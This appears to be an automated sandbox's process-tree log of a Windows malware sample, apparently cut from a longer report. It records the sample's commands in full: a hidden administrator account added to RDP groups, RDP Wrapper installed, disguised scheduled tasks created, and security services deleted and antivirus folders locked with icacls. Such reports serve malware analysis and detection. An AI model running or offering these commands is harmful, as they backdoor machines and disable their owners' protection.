- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout 37⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\chcp.comchcp 12517⤵
-
C:\rdp\Rar.exe"Rar.exe" e -p555 db.rar7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Rar.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout 27⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\rdp\bat.bat" "8⤵
-
C:\Windows\SysWOW64\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f9⤵
-
C:\Windows\SysWOW64\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f9⤵
-
C:\Windows\SysWOW64\netsh.exenetsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow9⤵
-
C:\Windows\SysWOW64\net.exenet.exe user "john" "12345" /add9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user "john" "12345" /add10⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12519⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Администраторы" "John" /add9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Администраторы" "John" /add10⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Administratorzy" "John" /add9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Administratorzy" "John" /add10⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Administrators" John /add9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Administrators" John /add10⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Administradores" John /add9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Administradores" John /add10⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Пользователи удаленного рабочего стола" John /add9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add10⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Пользователи удаленного управления" John /add9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add10⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" John /add9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add10⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Usuarios de escritorio remoto" John /add9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" John /add10⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Uzytkownicy pulpitu zdalnego" John /add9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" John /add10⤵
-
C:\rdp\RDPWInst.exe"RDPWInst.exe" -i -o9⤵
- Executes dropped EXE
- Modifies WinLogon
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow10⤵
-
C:\rdp\RDPWInst.exe"RDPWInst.exe" -w9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f9⤵
-
C:\Windows\SysWOW64\net.exenet accounts /maxpwage:unlimited9⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 accounts /maxpwage:unlimited10⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\Program Files\RDP Wrapper\*.*"9⤵
- Drops file in Program Files directory
- Views/modifies file attributes
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\Program Files\RDP Wrapper"9⤵
- Drops file in Program Files directory
- Views/modifies file attributes
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\rdp"9⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exetimeout 27⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\H.bat4⤵
- Drops file in Drivers directory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDControl" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDStartUP" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST4⤵
- Creates scheduled task(s)
-
C:\ProgramData\WindowsTask\update.exeC:\ProgramData\WindowsTask\update.exe4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDControl" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDStartUP" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Taskhost" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC ONLOGON /RL HIGHEST2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Taskhostw" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 2 /RL HIGHEST2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc start appidsvc2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc start appidsvc3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc start appmgmt2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc start appmgmt3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config appidsvc start= auto2⤵
-
C:\Windows\SysWOW64\sc.exesc config appidsvc start= auto3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config appmgmt start= auto2⤵
-
C:\Windows\SysWOW64\sc.exesc config appmgmt start= auto3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc delete swprv2⤵
-
C:\Windows\SysWOW64\sc.exesc delete swprv3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc stop mbamservice2⤵
-
C:\Windows\SysWOW64\sc.exesc stop mbamservice3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc stop bytefenceservice2⤵
-
C:\Windows\SysWOW64\sc.exesc stop bytefenceservice3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc delete bytefenceservice2⤵
-
C:\Windows\SysWOW64\sc.exesc delete bytefenceservice3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc delete mbamservice2⤵
-
C:\Windows\SysWOW64\sc.exesc delete mbamservice3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc delete crmsvc2⤵
-
C:\Windows\SysWOW64\sc.exesc delete crmsvc3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state on3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Microsoft JDX" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\Fonts\Mysql" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "c:\program files\Internet Explorer\bin" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\speechstracing /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny %username%:(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls c:\programdata\Malwarebytes /deny Admin:(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls c:\programdata\Malwarebytes /deny System:(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny %username%:(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Programdata\MB3Install /deny Admin:(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Programdata\MB3Install /deny System:(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Programdata\Indus /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Programdata\Indus /deny System:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls C:\AdwCleaner /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\ByteFence" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls C:\KVRT_Data /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls C:\KVRT_Data /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\360" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\Malwarebytes" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\COMODO" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\Enigma Software Group" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\AVAST Software" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\AVAST Software" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\Common Files\McAfee" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny %username%:(OI)(CI)(F)2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Panda Security" /deny Admin:(OI)(CI)(F)3⤵
- Modifies file permissions
-
C:\Programdata\Install\utorrent.exeC:\Programdata\Install\utorrent.exe2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- NTFS ADS
-
C:\ProgramData\WindowsTask\azur.exeC:\ProgramData\WindowsTask\azur.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "azur.exe"4⤵
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\system32\timeout.exe 35⤵
- Delays execution with timeout.exe
-
C:\ProgramData\WindowsTask\system.exeC:\ProgramData\WindowsTask\system.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\selfDel.bat" "4⤵
-
C:\ProgramData\RDPWinst.exeC:\ProgramData\RDPWinst.exe -u3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall delete rule name="Remote Desktop"4⤵
-
C:\ProgramData\RDPWinst.exeC:\ProgramData\RDPWinst.exe -i3⤵
- Executes dropped EXE
- Modifies WinLogon
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow4⤵
-
C:\ProgramData\RealtekHD\taskhost.exeC:\ProgramData\RealtekHD\taskhost.exe2⤵
- Executes dropped EXE
-
C:\ProgramData\RealtekHD\taskhostw.exeC:\ProgramData\RealtekHD\taskhostw.exe2⤵
- Executes dropped EXE
-
C:\ProgramData\Windows\rutserv.exeC:\ProgramData\Windows\rutserv.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
